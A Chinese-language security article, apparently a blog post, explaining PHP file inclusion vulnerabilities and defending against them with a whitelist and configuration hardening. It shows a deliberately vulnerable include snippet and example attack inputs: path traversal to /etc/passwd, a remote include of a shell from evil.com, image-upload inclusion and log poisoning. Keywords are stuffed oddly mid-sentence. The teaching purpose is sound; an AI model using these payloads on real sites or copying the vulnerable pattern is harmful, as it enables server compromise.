```html 文件包含漏洞代码 文件包含漏洞代码 一个 PHP 文件包含漏洞的完整复现,以及为什么你永远不该相信用户输入 先看一段 PHP 代码。包含这段代码我在很多老旧 CMS 里见过,漏洞甚至有些“现代”项目也悄悄留着类似的代码写法: <?php $page = $_GET['page']; include($page . '.php'); ?> 就这么三行。用户请求 ?文件page=about,服务器就去包含 about.php。包含逻辑看起来挺合理——动态加载页面,漏洞省得写一堆 if-else。代码问题出在 $_GET['page'] 上。文件这个变量完全由客户端控制,包含攻击者可以传任何东西。漏洞 假设攻击者请求 ?代码page=../../../../etc/passwd%00。在 PHP 5.3 之前的文件版本里,%00 空字节会截断后面的包含 .php,于是漏洞 include 直接读取了系统的密码文件。后来空字节截断被修了,但攻击者还有别的招。比如 ?page=http://evil.com/shell.txt——如果服务器配置了 allow_url_include = On,PHP 会远程拉取这个文件并当作 PHP 代码执行。一个参数,直接 getshell。 这还只是最粗糙的利用方式。真正让我后背发凉的是本地文件包含(LFI)配合文件上传的场景。攻击者先上传一个看似无害的图片,图片内容里嵌了 PHP 代码。然后通过文件包含漏洞去包含这个图片,代码就被执行了。上传功能本身可能做了后缀白名单,只允许 jpg/png,但文件包含漏洞让这道防线形同虚设。 ?page=uploads/avatar.jpg 服务器乖乖地包含这张“图片”,PHP 解析器遇到 <?php ... ?> 标签就执行。图片头部的二进制数据?PHP 会直接输出到响应里,浏览器看到乱码,但攻击者的代码已经跑完了。 我见过一个真实案例。某小型电商网站,商品详情页用 ?template=product 加载模板。开发人员觉得“反正只包含模板目录下的文件”,结果攻击者用 ?template=../../../var/log/apache2/access.log 包含了 Apache 日志。日志里记录了攻击者发送的恶意 User-Agent,里面藏着 PHP 代码。包含日志文件后,代码执行,数据库密码被拖走。整个链条里,文件包含漏洞是那把钥匙。 防御方法其实不复杂,但很多人写不对。最直接的是白名单: $allowed = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed)) { include($page . '.php'); } else { include('404.php'); } 别用黑名单去过滤 ../ 或者 http://。绕过方式太多了,编码、大小写、路径长度截断……你堵不完的。白名单是唯一靠谱的策略。另外,allow_url_include 在生产环境必须关掉,open_basedir 限制 PHP 能访问的目录范围,这些都能增加攻击成本。 但说到底,文件包含漏洞的根源是信任了不该信任的数据。用户输入就是用户输入,它可以是任何东西——路径、URL、空字节、日志内容。代码里每一次 include($_GET[...]) 都是在赌,赌用户不会乱来。而安全这件事,永远不要赌。 ``` |